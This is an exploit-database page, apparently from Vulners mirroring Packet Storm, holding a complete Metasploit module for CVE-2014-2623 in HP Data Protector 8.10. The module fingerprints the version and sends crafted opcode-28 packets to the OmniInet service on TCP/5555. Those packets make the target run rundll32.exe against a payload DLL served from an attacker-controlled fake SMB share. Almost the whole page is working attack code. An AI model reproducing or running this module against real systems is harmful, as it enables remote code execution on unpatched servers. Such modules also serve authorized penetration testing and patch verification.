Lucene search
K

HP Data Protector 8.10 Remote Command Execution

🗓️ 05 Mar 2015 00:00:00Reported by Christian RamirezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

HP Data Protector 8.10 Remote Command Execution module for Metasploit. Exploits remote command execution by sending crafted requests to OmniInet service on TCP/5555 port. Executes rundll32.exe with payload from a DLL provided through a fake SMB server. Tested on Windows 7 SP1.

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::SMB::Server::Share  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'HP Data Protector 8.10 Remote Command Execution',  
'Description' => %q{  
This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary  
commands can be execute by sending crafted requests with opcode 28 to the OmniInet  
service listening on the TCP/5555 port. Since there is an strict length limitation on  
the command, rundll32.exe is executed, and the payload is provided through a DLL by a  
fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on  
Windows 7 SP1.  
},  
'Author' => [  
'Christian Ramirez', # POC  
'Henoch Barrera', # POC  
'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module  
],  
'References' =>  
[  
['CVE', '2014-2623'],  
['OSVDB', '109069'],  
['EDB', '34066'],  
['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'Privileged' => true,  
'Platform' => 'win',  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
[ 'HP Data Protector 8.10 / Windows', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 02 2014'))  
  
register_options(  
[  
Opt::RPORT(5555),  
OptString.new('FILE_NAME', [ false, 'DLL File name to share']),  
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])  
], self.class)  
  
deregister_options('FILE_CONTENTS')  
end  
  
def check  
fingerprint = get_fingerprint  
  
if fingerprint.nil?  
return Exploit::CheckCode::Unknown  
end  
  
print_status("#{peer} - HP Data Protector version #{fingerprint}")  
  
if fingerprint =~ /HP Data Protector A\.08\.(\d+)/  
minor = $1.to_i  
else  
return Exploit::CheckCode::Safe  
end  
  
if minor < 11  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Detected  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def get_fingerprint  
ommni = connect  
ommni.put(rand_text_alpha_upper(64))  
resp = ommni.get_once(-1)  
disconnect  
  
if resp.nil?  
return nil  
end  
  
Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null  
end  
  
def send_pkt(cmd)  
cmd.gsub!("\\", "\\\\\\\\")  
  
pkt = "2\x00"  
pkt << "\x01\x01\x01\x01\x01\x01\x00"  
pkt << "\x01\x00"  
pkt << "\x01\x00"  
pkt << "\x01\x00"  
pkt << "\x01\x01\x00 "  
pkt << "28\x00"  
pkt << "\\perl.exe\x00 "  
pkt << "-esystem('#{cmd}')\x00"  
  
connect  
sock.put([pkt.length].pack('N') + pkt)  
disconnect  
end  
  
def primer  
self.file_contents = generate_payload_dll  
print_status("File available on #{unc}...")  
  
print_status("#{peer} - Trying to execute remote DLL...")  
sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}"  
send_pkt(sploit)  
end  
  
def setup  
super  
  
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"  
  
unless file_name =~ /\.dll$/  
fail_with(Failure::BadConfig, "FILE_NAME must end with .dll")  
end  
end  
  
def exploit  
begin  
Timeout.timeout(datastore['SMB_DELAY']) {super}  
rescue Timeout::Error  
# do nothing... just finish exploit and stop smb server...  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Mar 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.89835
51